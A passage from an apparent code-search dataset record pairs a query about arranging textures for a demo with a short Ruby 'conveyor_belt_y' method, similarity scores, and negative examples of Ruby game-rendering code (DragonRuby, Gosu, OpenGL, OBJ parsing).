"0.6862008",
"0.6858014",
"0.68473417",
"0.68213385",
"0.6818249",
"0.6795219",
"0.6763255",
"0.6763255",
"0.67425674",
"0.6735354",
"0.6731299",
"0.67088586",
"0.67062527",
"0.67062527",
"0.6705133",
"0.6702123",
"0.6695061",
"0.66867924",
"0.6683506",
"0.6683351",
"0.6678791",
"0.6675512",
"0.6672404",
"0.6669535",
"0.66424793",
"0.6640165",
"0.6638181",
"0.6633945",
"0.663124",
"0.6630383",
"0.66059405",
"0.6601202",
"0.6590631",
"0.65897495",
"0.6585059",
"0.6584947",
"0.6584783",
"0.65788203",
"0.6558641",
"0.6555357",
"0.6552325",
"0.65461576",
"0.6538028",
"0.65362644",
"0.6525925",
"0.6524806",
"0.65148646",
"0.65148646",
"0.65129983",
"0.6509921",
"0.6501306",
"0.649681",
"0.6488579",
"0.64873517",
"0.6483981",
"0.64830816",
"0.64830726",
"0.6473744",
"0.6468443",
"0.6464907",
"0.6452754",
"0.6452357",
"0.64480925",
"0.6439946",
"0.643455",
"0.6433682",
"0.6432887",
"0.6429694",
"0.64289385",
"0.6427815",
"0.642653",
"0.64198494",
"0.64190334",
"0.64177173"
] | 0.0 | -1 |
put our textures in a line and move them for the demo | def conveyor_belt_y
center_y + center_y / 2 + 20
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def sprites_tech_demo\n outputs.labels << [ 5, 170, \"Sprites (x, y, w, h, path, angle, a)\"]\n outputs.sprites << [ 10, 40, 128, 101, 'dragonruby.png']\n outputs.sprites << [ 150, 40, 128, 101, 'dragonruby.png', state.tick_count % 360] # angle changes\n outputs.sprites << [ 300, 40, 128, 101, 'dragonruby.png', 0, state.tick_count % 255] # transparency changes\n end",
"def lines_tech_demo\n outputs.labels << [5, 500, \"Lines (x, y, x2, y2, r, g, b, a)\"]\n outputs.lines << [5, 450, 100, 450]\n outputs.lines << [5, 430, 300, 430]\n outputs.lines << [5, 410, 300, 410, state.tick_count % 255, 0, 0, 255] # red saturation changes\n outputs.lines << [5, 390 - state.tick_count % 25, 300, 390, 0, 0, 0, 255] # y position changes\n outputs.lines << [5 + state.tick_count % 200, 360, 300, 360, 0, 0, 0, 255] # x position changes\n end",
"def setup\n size 640, 300, P3D\n @lens_d = 160\n @lens_list = []\n @xx, @yy, @dx, @dy = 0, 0, 3, 3\n \n # Create buffered image for lens effect.\n @lens_effect = create_graphics(width, height, P2D)\n \n # Load background image.\n @lens_effect.begin_draw\n @lens_effect.image(load_image('red_smoke.jpg'), 0, 0, width, height)\n @lens_effect.end_draw\n image(@lens_effect, 0, 0, width, height)\n \n # Create buffered image for warping.\n @lens_image = create_graphics(@lens_d, @lens_d, P2D)\n @lens_image2 = create_graphics(@lens_d, @lens_d, P2D)\n \n compute_lens_transformation\nend",
"def render_player_bullet args\n args.outputs.sprites << {\n x: args.state.player_bullet_x,\n y: args.state.player_bullet_y,\n w: args.state.player_bullet_w,\n h: args.state.player_bullet_h,\n path: 'sprites/square/blue.png'\n }\nend",
"def render_enemy_bullet args\n args.outputs.sprites << {\n x: args.state.enemy_bullet_x,\n y: args.state.enemy_bullet_y,\n w: args.state.enemy_bullet_w,\n h: args.state.enemy_bullet_h,\n path: 'sprites/square/orange.png'\n }\nend",
"def emulate_lowrez_scene args, sprites, labels, borders, solids, mouse, lines\n args.render_target(:lowrez).solids << [0, 0, 1280, 720]\n args.render_target(:lowrez).sprites << sprites\n args.render_target(:lowrez).borders << borders\n args.render_target(:lowrez).solids << solids\n args.render_target(:lowrez).lines << lines\n\n #The definition of a label is set, including the position, text, size, alignment, color, alpha, and font.\n #The font that is used is saved in the game's folder. Without the .ttf file, the label would not be created correctly.\n args.outputs.primitives << labels.map do |l|\n as_label = l.label\n l.text.each_char.each_with_index.map do |char, i|\n [CENTER_OFFSET + EMULATED_FONT_X_ZERO + (as_label.x * TINY_SCALE) + i * 5 * TINY_SCALE,\n EMULATED_FONT_Y_ZERO + (as_label.y * TINY_SCALE), char,\n EMULATED_FONT_SIZE, 0, as_label.r, as_label.g, as_label.b, as_label.a, 'dragonruby-gtk-4x4.ttf'].label\n end\n end\n\n #Uses arrays to set definitions, including the position and size, which are added to args.sprites and args.primitives.\n args.sprites << [CENTER_OFFSET, 0, 1280 * TINY_SCALE, 720 * TINY_SCALE, :lowrez]\n args.primitives << [0, 0, CENTER_OFFSET, 720].solid\n args.primitives << [1280 - CENTER_OFFSET, 0, CENTER_OFFSET, 720].solid\n args.primitives << [0, 0, 1280, 2].solid\nend",
"def add_line(line_index, str, align = 0, outlinesize = Text::Util::DEFAULT_OUTLINE_SIZE, type: Text, color: nil, dx: 0)\n sprite_stack.add_line(line_index, str, align, outlinesize, type: type, color: color, dx: dx)\n end",
"def draw\n\tsuper\n\t\n\tif Game.scene.selected_tower\n\t position = grids_to_pixels(Game.scene.selected_tower.position)\n\t \n\t @surface.drawFilledCircle(position[0], position[1], Game.scene.selected_tower.range * Config.part_size[0], Screen.handle.format.mapRGB(0xbb, 0xbb, 0xbb))\n\tend\n\t\n\tposition = Config.monsters_start_at\n\tposition[0] += 1\n\tposition = grids_to_pixels(position)\n\tposition[0] -= 20\n\tposition[1] -= 20\n\tImage.draw(\"images/arrow.png\", @surface, *position)\n\t\n\tposition = Config.monsters_end_at\n\tposition[0] -= 1\n\tposition = grids_to_pixels(position)\n\tposition[0] -= 20\n\tposition[1] -= 20\n\tImage.draw(\"images/arrow.png\", @surface, *position)\n\t\n\tConfig.map_size[1].times do |y|\n Config.map_size[0].times do |x|\n @surface.draw_rect(Config.part_size[0]*x,Config.part_size[1]*y,Config.part_size[0],Config.part_size[1],Screen.handle.format.mapRGB(0x88, 0x88, 0x88))\n end\n end\n\t\n\tGame.scene.get_drawable_objects.each do |i|\n\t position = grids_to_pixels(i.position)\n\t if i.class <= Model::Monster # Drawing HP lines\n\t color = Screen.handle.format.mapRGB(0xaa, 0xaa, 0xaa)\n\t if i.poisoned\n\t color = Screen.handle.format.mapRGB(0xff, 0x00, 0xff)\n\t end\n\t @surface.draw_line(position[0]-12, position[1]-18, position[0]+12, position[1]-18, color)\n\t @surface.draw_line(position[0]-12, position[1]-17, position[0]+12, position[1]-17, color)\n\t \n\t line_len = i.hp * 24 / i.max_hp\n\t \n\t color = Screen.handle.format.mapRGB(0x00, 0xff, 0x00)\n\t if i.frozen\n\t color = Screen.handle.format.mapRGB(0x00, 0xff, 0xff)\n\t end\n\t @surface.draw_line(position[0]-12, position[1]-18, position[0]-12+line_len, position[1]-18, color)\n\t @surface.draw_line(position[0]-12, position[1]-17, position[0]-12+line_len, position[1]-17, color)\n\t end\n\t position[0] -= i.image_size[0]/2\n\t position[1] -= i.image_size[1]/2\n\t \n\t Image.draw(i.image, @surface, *position)\n\tend\n end",
"def initialize texture_size = [512,512]\n @texture_size = texture_size\n @texture = Array.new(@texture_size[0]) { Array.new(@texture_size[1]) { Array.new(3){1} } }\n @windows = [@texture_size[0]/8, @texture_size[1]/8]\n @texture_link = [0]\n \n @windows[0].times do |i|\n @windows[1].times do |j|\n px_origin = i*8\n py_origin = j*8\n # Got a little 8x8 window with pixel coords starting in px/py origin being topleft corner of window\n \n # Walls\n 8.times do |x|\n @texture[px_origin + x][py_origin] = [0,0,0]\n @texture[px_origin + x][py_origin+7] = [0,0,0]\n @texture[px_origin][py_origin + x] = [0,0,0]\n @texture[px_origin + 7][py_origin + x] = [0,0,0]\n end\n \n # Inside color, either mostly on or mostly off\n if rand > DARK_TO_LIGHT_RATIO\n cr = rand/4.0\n else\n cr = 3.0/4 + rand/4.0\n end\n c = [cr,cr,cr]\n \n # Inside\n 6.times do |x|\n 6.times do |y|\n px = px_origin + 1 + x\n py = py_origin + 1 + y\n \n @texture[px][py] = c\n end\n end \n end\n end\n \n loadTexture\n end",
"def render_player x, y \n \tboxsize = 16\n \tgrid_x = (1280 - (@grid_w * boxsize)) / 2\n \tgrid_y = (720 - ((@grid_h - 2) * boxsize)) / 2\n\t\[email protected] << [ grid_x + (x * boxsize), (grid_y) + (y * boxsize), boxsize, boxsize, \"sprites/debug.png\"]\n\tend",
"def load_sprites\n\n # Sort out the logo that we'll use when it's required\n @logo_sprite = TintedSprite.new(w: 567, h: 135, path: 'vertices/sprites/logo.png')\n @logo_sprite.colourable_cycle(\n [\n [255, 10, 0, 255],\n [205, 10, 50, 255],\n [50, 10, 205, 255],\n [0, 10, 255, 255],\n [50, 10, 205, 255],\n [205, 10, 50, 255]\n ], 15\n )\n @logo_sprite.movable_location_cycle(\n [\n [(@args.grid.w - 547) / 2, 480],\n [(@args.grid.w - 567) / 2, 520],\n [(@args.grid.w - 587) / 2, 500],\n [(@args.grid.w - 567) / 2, 480],\n [(@args.grid.w - 547) / 2, 500],\n [(@args.grid.w - 567) / 2, 520],\n [(@args.grid.w - 587) / 2, 480],\n [(@args.grid.w - 567) / 2, 500]\n ], 60\n )\n\n # And the start button\n @button_sprite = TintedSprite.new(w: 256, h: 64, path: 'vertices/sprites/start.png')\n @button_sprite.movable_location((@args.grid.center_x - 128), 128)\n @button_sprite.colourable_cycle(\n [\n [255, 255, 255, 255],\n [128, 128, 128, 255]\n ], 10\n )\n\n # Lastly, music and audio icons\n @audio_sprite = TintedSprite.new(w: 50, h: 50, path: 'vertices/sprites/audioOn.png')\n @audio_sprite.movable_location((@args.grid.w - 60), 10)\n @audio_sprite.colourable_cycle(\n [\n [255, 200, 200, 128],\n [200, 200, 255, 128]\n ], 60\n )\n @music_sprite = TintedSprite.new(w: 50, h: 50, path: 'vertices/sprites/musicOn.png')\n @music_sprite.movable_location((@args.grid.w - 110), 10)\n @music_sprite.colourable_cycle(\n [\n [255, 200, 200, 128],\n [200, 200, 255, 128]\n ], 60\n )\n\n end",
"def main_sprite ; end",
"def render_target\n outputs.sprites << scale_up(state.target).merge({path: 'target.png'})\n outputs.sprites << move_and_scale_up(state.target).merge({path: 'target.png'})\n end",
"def draw\n @tip_img.draw(@x, @y, @z)\n @top = @y + @tip_img.height\n while @top <= 600 - @line_img.height\n @line_img.draw(@x, @top, @z)\n @top += @line_img.height\n end\n end",
"def draw_background\n draw_line(690 ,0, Gosu::Color::RED, 690, 600, Gosu::Color::RED, ZOrder::PLAYER, mode=:default)#Person's torso\n Gosu.draw_rect(0, 0, 1000, 600, @background1 , ZOrder::BACKGROUND, mode = :default)\n end",
"def main_spriteset ; end",
"def SS0_2 args\r\n\t#args.outputs.sprites << [0, 0, 1280, 720, \"sprites/Intro-Background-4.png\"]\r\n\targs.outputs.sprites << [0, 0, 1280, 720, \"sprites/Intro-Background-4-Plain.png\"]\r\n\r\n\t# 1. When to start the animation.\r\n\tstart_looping_at = 0\r\n\r\n\t# 2. The number of pngs that represent the full animation.\r\n\tnumber_of_sprites = 16\r\n\r\n\t# 3. How long to show each png.\r\n\tnumber_of_frames_to_show_each_sprite = 3\r\n\r\n\t# 4. Whether the animation should loop once, or forever.\r\n\tdoes_sprite_loop = true\r\n\r\n\t# Sprite index for lightning\r\n\tsprite_index = start_looping_at.frame_index number_of_sprites, number_of_frames_to_show_each_sprite, does_sprite_loop\r\n\r\n\t# Now that we have `sprite_index, we can present the correct file.\r\n\targs.outputs.sprites << [0, 0, 1280, 720, \"sprites/divider_sprite/Divider-#{sprite_index}.png\"]\r\n\r\n\r\n\t#Outputs text\r\n\targs.outputs.sprites << [0, 0, 1280, 720, \"sprites/Characters-Intro.png\"]\r\n\targs.outputs.sprites << [560, 50, 150, 100, \"sprites/Start-Intro.png\"]\r\n\t\r\n\r\n\t#Set roll button position\r\n\tstartButton = [560, 50, 150, 100, 0, 0, 0, 255]\r\n\targs.outputs.borders << startButton\r\n\r\n\t#Saves last mouse click data\r\n\tif args.inputs.mouse.click\r\n\t\targs.state.last_mouse_click = args.inputs.mouse.click\r\n\t\targs.state.pos = args.inputs.mouse.position\r\n\tend\r\n\t\r\n\t#If roll button clicked, transitions to SS1_1\r\n\tif args.state.pos.inside_rect? startButton\r\n\t\targs.state.last_mouse_click = nil\r\n\t\targs.state.pos = nil\r\n\t\targs.state.screen_select = 1.1\r\n\tend\r\nend",
"def drawScene\n\t# clear information from last draw\n\tglClear(GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT)\n\t\n\tglMatrixMode(GL_MODELVIEW)\n\tglLoadIdentity\n\t\n\tglTranslatef(0.0, 1.0, -6.0)\n\t\n\tambientLight = [0.2, 0.2, 0.2, 1.00]\n\tglLightModelfv(GL_LIGHT_MODEL_AMBIENT, ambientLight)\n\t\n\tdirectedLight = [0.7, 0.7, 0.7, 1.0]\n\tdirectedLightPos = [-10.0, 15.0, 20.0, 0.0]\n\tglLightfv(GL_LIGHT0, GL_DIFFUSE, directedLight)\n\tglLightfv(GL_LIGHT0, GL_POSITION, directedLightPos)\n\t\n\tglEnable(GL_TEXTURE_2D)\n\tglBindTexture(GL_TEXTURE_2D, @textureId)\n\t\n\t# Bottom\n\tglTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_NEAREST)\n\tglTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_NEAREST)\n\tglColor3f(1.0, 0.2, 0.2)\n\tglBegin(GL_QUADS)\n\t\n\tglNormal3f(0.0, 1.0, 0.0)\n\tglTexCoord2f(0.0, 0.0)\n\tglVertex3f(-2.5, -2.5, 2.5)\n\tglTexCoord2f(1.0, 0.0)\n\tglVertex3f(2.5, -2.5, 2.5)\n\tglTexCoord2f(21.0, 1.0)\n\tglVertex3f(2.5, -2.5, -2.5)\n\tglTexCoord2f(0.0, 1.0)\n\tglVertex3f(-2.5, -2.5, -2.5)\n\t\n\tglEnd\n\t\n\t# Back\n\tglTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_LINEAR)\n\tglTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_LINEAR)\n\tglColor3f(1.0, 1.0, 1.0)\n\tglBegin(GL_TRIANGLES)\n\t\n\tglNormal3f(0.0, 0.0, 1.0)\n\tglTexCoord2f(0.0, 0.0)\n\tglVertex3f(-2.5, -2.5, -2.5)\n\tglTexCoord2f(5.0, 5.0)\n\tglVertex3f(0.0, 2.5, -2.5)\n\tglTexCoord2f(10.0, 0.0)\n\tglVertex3f(2.5, -2.5, -2.5)\n\t\n\tglEnd\n\t\n\t# Left\n\tglDisable(GL_TEXTURE_2D)\n\tglColor3f(1.0, 0.7, 0.3)\n\tglBegin(GL_QUADS)\n\t\n\tglNormal3f(1.0, 0.0, 0.0)\n\tglVertex3f(-2.5, -2.5, 2.5)\n\tglVertex3f(-2.5, -2.5, -2.5)\n\tglVertex3f(-2.5, 2.5, -2.5)\n\tglVertex3f(-2.5, 2.5, 2.5)\n\t\n\tglEnd\n\t\n\tglutSwapBuffers() # Send the 3D scene to the screen\nend",
"def render_floor\n GL.PushMatrix()\n GL.BindTexture(GL::TEXTURE_2D, $TexName[0])\n GL.Begin(GL::QUADS)\n GL.TexCoord(0.0, 0.0); GL.Vertex(-2.0, -0.9, 1.0)\n GL.TexCoord(1.0, 0.0); GL.Vertex(2.0, -0.9, 1.0)\n GL.TexCoord(1.0, 1.0); GL.Vertex(2.0, -0.9, -1.0)\n GL.TexCoord(1.0, 1.0); GL.Vertex(-2.0, -0.9, -1.0)\n GL.End()\n GL.PopMatrix\n end",
"def place renderer, texture, x,y\n tw,th = texture.w, texture.h\n dst = SDL2::Rect.new x,y, tw,th \n renderer.copy texture, nil, dst\n @texture\n end",
"def draw(canvas, max_x, max_y)\n render.each_line.with_index do |line, rowi|\n line.each_char.with_index do |char, coli|\n next if char == \"\\n\"\n pos = camera.cartesian2screen(self)\n\n off_x = -camera.x + camera.half_screen_width\n off_y = -camera.y + camera.half_screen_height\n\n # _x = coli + pos.x - camera.half_screen_width\n # _y = rowi + pos.y - camera.half_screen_height\n # _x = coli - (pos.x * width_offset) + width_offset\n # _y = rowi - (pos.y * height_offset) + height_offset\n # _x = coli + x - off_x # pos.x\n # _y = rowi - y + off_y # pos.y\n _x = (camera.screen.width - position.x * width) - width\n _y = (camera.screen.height - position.y * height) - height\n # _x = coli + x\n # _y = rowi + y\n\n _x = position.x*3 - (camera.screen.width/2)\n _y = (camera.screen.height/2) - position.y*3\n\n _x += width*2 + 1\n # _x += width_offset\n _y += height*2 - 1\n # _y += height_offset\n\n _x += coli\n _y += rowi\n\n canvas[_y][_x] = char if camera.can_view?(_x, _y, self)\n # canvas[_x][_y] = char\n # canvas[x][y] = char if camera.can_view?(x, y, self)\n end\n end\n end",
"def draw\n # draw background first\n 0.upto(LEVEL_WIDTH - 1) do |x|\n (LEVEL_HEIGHT - 1).downto(0) do |y|\n if @tiles[x + @x_offset + LEVEL_WIDTH * (y + @y_offset)] == :background\n # choose background terrain\n image = @terrain[1]\n # actual top left coordinates\n px = x * 32 * SCALE\n py = y * 25 * SCALE - 25 * SCALE\n # draw to the screen scaled to size\n image.draw(px, py, 0, SCALE, SCALE)\n elsif @tiles[x + @x_offset + LEVEL_WIDTH * (y + @y_offset)] == :background2\n # choose background terrain\n image = @terrain[3]\n # actual top left coordinates\n px = x * 32 * SCALE\n py = y * 25 * SCALE - 25 * SCALE\n # draw to the screen scaled to size\n image.draw(px, py, 0, SCALE, SCALE)\n elsif @tiles[x + @x_offset + LEVEL_WIDTH * (y + @y_offset)] == :none\n image = @terrain[2]\n # actual top left coordinates\n px = x * 32 * SCALE\n py = y * 25 * SCALE - 25 * SCALE\n # draw to the screen scaled to size\n image.draw(px, py, 0, SCALE, SCALE)\n end\n end\n end\n\n # draw platforms on top of the background\n 0.upto(LEVEL_WIDTH - 1) do |x|\n (LEVEL_HEIGHT - 1).downto(0) do |y|\n if @tiles[x + @x_offset + LEVEL_WIDTH * (y + @y_offset)] == :platform\n # choose platform terrain\n image = @terrain[0]\n # actual top left coordinates\n px = x * 32 * SCALE\n py = y * 25 * SCALE - 25 * SCALE\n # draw to the screen scaled to size\n image.draw(px, py, 0, SCALE, SCALE)\n end\n end\n end\n\n for enemy in @enemies do\n enemy.draw SCALE, @x_offset * 32 * SCALE, @y_offset * 25 * SCALE\n end\n\n for candy in @candies do\n candy.draw SCALE, @x_offset * 32 * SCALE, @y_offset * 25 * SCALE\n end\n\n Gosu::Image.from_text(self, @current_selection.to_s, \"Times New Roman\", 24).draw(5, 5, 0, 1, 1, 0xffffffff)\n\n @player_image[0].draw(@player[0] * SCALE - @x_offset * 32 * SCALE, @player[1] * SCALE - @y_offset * 25 * SCALE, 1, SCALE, SCALE) unless @player.nil?\n @door_image[0].draw(@door[0] * SCALE - @x_offset * 32 * SCALE, @door[1] * SCALE - @y_offset * 25 * SCALE, 1, SCALE, SCALE) unless @door.nil?\n\n @target[0].draw(mouse_x, mouse_y, 2, SCALE, SCALE) if @current_type == :candies\n end",
"def update(time)\n @scene.clear\n @attache.lenses.each do |l|\n scene.addPixmap(l.image.to_pix)\n end\n @scene = scene\n end",
"def move_layer(from_parallax, from_layer, to_parallax, to_layer)\n drawable_list = @drawables[from_parallax][from_layer].dup\n\n drawable_list.each do |drawable|\n unregister_drawable drawable \n drawable.parallax = to_parallax\n drawable.layer = to_layer\n register_drawable drawable \n end\n end",
"def move_layer(from_parallax, from_layer, to_parallax, to_layer)\n drawable_list = @drawables[from_parallax][from_layer].dup\n\n drawable_list.each do |drawable|\n unregister_drawable drawable \n drawable.parallax = to_parallax\n drawable.layer = to_layer\n register_drawable drawable \n end\n end",
"def process_line( key, values, line_string)\n case key\n #---------------------------------------------------------\n # List of geometric vertices, with (x, y, z [,w]) coordinates, \n # w is optional and defaults to 1.0.\n when \"v\"\n values.collect! { |v| v.to_f }\n @vertex.push( values )\n #---------------------------------------------------------\n # List of vertex normals in (x,y,z) form; normals might not be unit vectors.\n # https://en.wikipedia.org/wiki/Normal_(geometry)\n when \"vn\"\n values.collect! { |v| v.to_f }\n @normal.push( values )\n #---------------------------------------------------------\n # List of texture coordinates, in (u, [v ,w]) coordinates, these \n # will vary between 0 and 1, v and w are optional and default to 0.\n when \"vt\"\n values.collect! { |v| v.to_f }\n values = values[0..1]\n #values.size.times do |index|\n # values[index] *= -1.0 # inverse Y cord in texture file?\n #end\n @texcoord.push( values ) # u and v\n puts(\"Texture pos: [#{values.join(', ')}] From: \\'#{line_string}\\'\") if DEBUGGING\n #---------------------------------------------------------\n # Named objects and polygon groups.\n when \"o\"\n @objects << values.first\n #---------------------------------------------------------\n # Polygon group names.\n when \"g\", \"group\"\n if values.length == 0\n # p \"anonymous group detected. treat as \\\"default\\\".\"\n @current_group = get_group( \"default\" )\n else\n # Only the first group is adopted even if there are multiple group names on the line.\n @current_group = get_group( values[0] )\n end\n @current_group.mtl_name = @current_material_name\n #---------------------------------------------------------\n # Smooth shading across polygons? * can also mark shader groups with int value *\n when \"s\"\n setting = values.first # convert into boolean\n @smooth_shading = setting.include?('on') or setting.include?('true')\n #---------------------------------------------------------\n # Polygonal face element, these can be packaged in a number of ways.\n # index is offset to start drawing at tile index 0, hense minus 1\n when \"f\"\n vertex_count = values.length\n case values[0]\n when /\\d+\\/\\d+\\/\\d+/ # v/vt/vn\n face = Face.new( vertex_count )\n print(\"Face: \") if DEBUGGING\n values.each_with_index do |value, i|\n v, vt, vn = value.split( '/' )\n face.vtx_index[i] = v.to_i - 1\n face.tex_index[i] = vt.to_i - 1\n face.nrm_index[i] = vn.to_i - 1\n print(\"[#{face.vtx_index[i]}, #{face.tex_index[i]}, #{face.nrm_index[i]}] \") if DEBUGGING\n end\n # --------------------------------------\n when /\\d+\\/\\/\\d+/ # v//vn\n face = Face.new( vertex_count )\n print(\"Face: \") if DEBUGGING\n values.each_with_index do |value, i|\n v, vn = value.split( '//' )\n face.vtx_index[i] = v.to_i - 1\n face.nrm_index[i] = vn.to_i - 1\n print(\"[#{face.vtx_index[i]}, #{face.nrm_index[i]}] \") if DEBUGGING\n end\n # --------------------------------------\n when /\\d+\\/\\d+/ # v/vt\n face = Face.new( vertex_count )\n print(\"Face: \") if DEBUGGING\n values.each_with_index do |value, i|\n v, vt = value.split( '/' )\n face.vtx_index[i] = v.to_i - 1\n face.tex_index[i] = vt.to_i - 1\n print(\"[#{face.vtx_index[i]}, #{face.tex_index[i]}] \") if DEBUGGING\n end\n # --------------------------------------\n when /\\d+/ # v\n face = Face.new( vertex_count )\n print(\"Face: \") if DEBUGGING\n values.each_with_index do |value, i|\n face.vtx_index[i] = value.to_i - 1\n print(\"[#{face.vtx_index[i]}] \") if DEBUGGING\n end\n # --------------------------------------\n else\n p \"unknown face format detected.\"\n end\n @current_group.faces.push( face )\n @current_group.face_index.push( @current_group.faces.length - 1 )\n puts(\"\") if DEBUGGING\n #---------------------------------------------------------\n when /^\\#+/, nil\n #puts \"comment or empty line.\"\n #---------------------------------------------------------\n # The .mtl file may contain one or more named material definitions. \n when \"mtllib\"\n # https://en.wikipedia.org/wiki/Materials_system\n # https://en.wikipedia.org/wiki/Wavefront_.obj_file#Material_template_library\n @material_lib = MaterialLibrary.new(values.first)\n #---------------------------------------------------------\n # The material name matches a named material definition in an external .mtl file.\n when \"usemtl\"\n @current_materials << values.first\n #---------------------------------------------------------\n else\n puts \" -Unsupported .obj token #{key} given. Ignored.\"\n end\n end",
"def heavy_ball args\n args.state.balls << {x: (args.state.tableright - args.state.ball_diameter - args.state.tableleft).randomize(:ratio) + args.state.tableleft,\n y: (args.state.tabletop - args.state.ball_diameter - args.state.tablebottom).randomize(:ratio) + args.state.tablebottom,\n velX: 13,\n velY: 13,\n path: \"sprites/heavy.png\",\n mass: args.state.ball_weight + 2,\n type: \"heavy\"\n }\nend",
"def dsl_sprites(&block)\n dsl(&block).sprites\n end",
"def setup\n size 500, 756, OPENGL\n no_stroke\n color_mode RGB, 1\n fill 0.3\n frame_rate 24\n background 0\n \n control_panel do |c|\n c.slider :opacity, 0.01..1.0, 0.3\n c.slider :rotation_x, 0.01..1.0, 0.2\n c.slider :rotation_y, 0.01..1.0, 0.3\n c.slider :growth_factor, 0.01..2.0, 1.0\n \n c.checkbox :paused\n c.checkbox :trails\n end\n \n @boxes = [\n {:y => 4, :speed => 1, :size => 68, :opacity => 1.0},\n {:y => 1, :speed => 15, :size => 60, :opacity => 1.8},\n {:y => 3, :speed => 4, :size => 32, :opacity => 1.2},\n {:y => 41, :speed => 23, :size => 40, :opacity => 1.2}, \n {:y => 1, :speed => 6, :size => 47, :opacity => 1.5},\n {:y => 1, :speed => 2, :size => 30, :opacity => 1.5},\n {:y => 5, :speed => 16, :size => 14, :opacity => 2.0},\n {:y => 1, :speed => 17, :size => 42, :opacity => 1.0},\n {:y => 4, :speed => 25, :size => 90, :opacity => 1.2}, \n {:y => 6, :speed => 1, :size => 23, :opacity => 1.0},\n {:y => 42, :speed => 15, :size => 20, :opacity => 1.0},\n {:y => 1, :speed => 10, :size => 38, :opacity => 1.5},\n {:y => 11, :speed => 5, :size => 20, :opacity => 2.0},\n {:y => 24, :speed => 26, :size => 33, :opacity => 1.0},\n {:y => 1, :speed => 8, :size => 24, :opacity => 2.0},\n {:y => 24, :speed => 13, :size => 20, :opacity => 1.5},\n {:y => 38, :speed => 27, :size => 31, :opacity => 1.8},\n {:y => 11, :speed => 14, :size => 12, :opacity => 1.0},\n {:y => 1, :speed => 29, :size => 85, :opacity => 1.2},\n {:y => 21, :speed => 11, :size => 50, :opacity => 1.2},\n {:y => 1, :speed => 18, :size => 33, :opacity => 1.3},\n {:y => 5, :speed => 8, :size => 18, :opacity => 2.3},\n {:y => 17, :speed => 26, :size => 64, :opacity => 1.0},\n {:y => 3, :speed => 7, :size => 45, :opacity => 1.0},\n {:y => 65, :speed => 13, :size => 99, :opacity => 1.2},\n {:y => 8, :speed => 2, :size => 83, :opacity => 1.2}, \n {:y => 12, :speed => 20, :size => 47, :opacity => 1.6},\n {:y => 11, :speed => 3, :size => 32, :opacity => 1.3},\n {:y => 1, :speed => 15, :size => 47, :opacity => 0.9},\n {:y => 7, :speed => 19, :size => 60, :opacity => 1.8},\n ]\n\n @column_width = (width/@boxes.size)\nend",
"def render_target\n outputs.sprites << scale_up(grid.target).merge({ path: 'target.png'})\n end",
"def anim1\n # load ball sprite\n ball = Sprite.new(@viewport)\n ball.bitmap = pbBitmap(\"Graphics/EBDX/Transitions/Common/ball\")\n ball.center!(true)\n ball.zoom_x = 0\n ball.zoom_y = 0\n # spin ball into place\n 16.delta_add.times do\n ball.angle += 22.5/self.delta\n ball.zoom_x += 0.0625/self.delta\n ball.zoom_y += 0.0625/self.delta\n pbWait(1)\n end\n ball.angle = 0\n ball.zoom = 1\n # take screenshot\n bmp = Graphics.snap_to_bitmap\n pbWait(8.delta_add)\n # dispose ball sprite\n ball.dispose\n # black background\n black = Sprite.new(@viewport)\n black.bitmap = Bitmap.new(@viewport.width, @viewport.height)\n black.bitmap.fill_rect(0, 0, @viewport.width, @viewport.height, Color.black)\n # split screenshot into two halves\n field1 = Sprite.new(@viewport)\n field1.bitmap = Bitmap.new(@viewport.width, @viewport.height)\n field1.bitmap.blt(0, 0, bmp, @viewport.rect)\n field1.src_rect.height = @viewport.height/2\n field2 = Sprite.new(@viewport)\n field2.bitmap = field1.bitmap.clone\n field2.y = @viewport.height/2\n field2.src_rect.height = @viewport.height/2\n field2.src_rect.y = @viewport.height/2\n # move halves off screen\n 16.delta_add.times do\n field1.x -= (@viewport.width/16)/self.delta\n field2.x += (@viewport.width/16)/self.delta\n pbWait(1)\n end\n field1.x = [email protected]\n field2.x = @viewport.width\n @viewport.color = Color.black\n # dispose unused sprites\n black.dispose\n field1.dispose\n field2.dispose\n end",
"def step\n # Draw everything\n @image.draw @screen\n end",
"def how_to_render_lines args\n # Render a horizontal line at the bottom\n args.nokia.lines << { x: 0, y: 0, x2: 83, y2: 0 }\n\n # Render a vertical line at the left\n args.nokia.lines << { x: 0, y: 0, x2: 0, y2: 47 }\n\n # Render a diagonal line starting from the bottom left and going to the top right\n args.nokia.lines << { x: 0, y: 0, x2: 83, y2: 47 }\nend",
"def switch_sprites\n @viewport.tone.set(0, 0, 0, 0)\n @egg_sprite.visible = false\n @pokemon_sprite.visible = true\n end",
"def draw\n if @rainbow > 0\n @rainbow_img.draw(@x, @y, PLAYER, @scale, @scale, Gosu::Color.rgba(@color[0], @color[1], @color[2], 150))\n else\n @img.draw(@x, @y, PLAYER, @scale, @scale)\n end\n \n offset = (@img.width - @shield_img.width) / 2\n @shield_img.draw(@x + offset, @scene.height - @shield_img.height, PLAYER, @scale, @scale, Gosu::Color.rgba(255, 255, 255, [@shield, 0].max))\n end",
"def show_image\n temp_floor_tile = Image.new('tiles\\tile_floor_1.png')\n hex_width = temp_floor_tile.width - 6\n hex_height = temp_floor_tile.width - 4\n temp_floor_tile.remove\n @hexArray.each_with_index do | line, x |\n bottom_y = hex_height * 11\n y_start = bottom_y - (11 - line.size) * (hex_height / 2)\n line.each_with_index do | hex, y |\n cur_x = x * hex_width\n cur_y = y_start - y * hex_height\n\n case hex.type\n when Hex::FLOOR_TYPE\n Image.new('tiles\\tile_floor_1.png', x:cur_x, y:cur_y)\n when Hex::LAVA_TYPE\n Image.new('tiles\\tile_liquid_1.png', x:cur_x, y:cur_y)\n when Hex::EXIT_TYPE\n Image.new('tiles\\tile_base.png', x:cur_x, y:cur_y)\n Image.new('tiles\\dung_ladderdown.png', x:cur_x, y:cur_y)\n else\n Image.new('tiles\\tile_base.png', x:cur_x, y:cur_y)\n end\n if hex.contained_object != nil && hex.contained_object.type == MovingObject::PLAYER_TYPE\n Image.new('tiles\\player.png', x:cur_x, y:cur_y)\n end\n end\n end\n end",
"def handleUpdate(sprite) end",
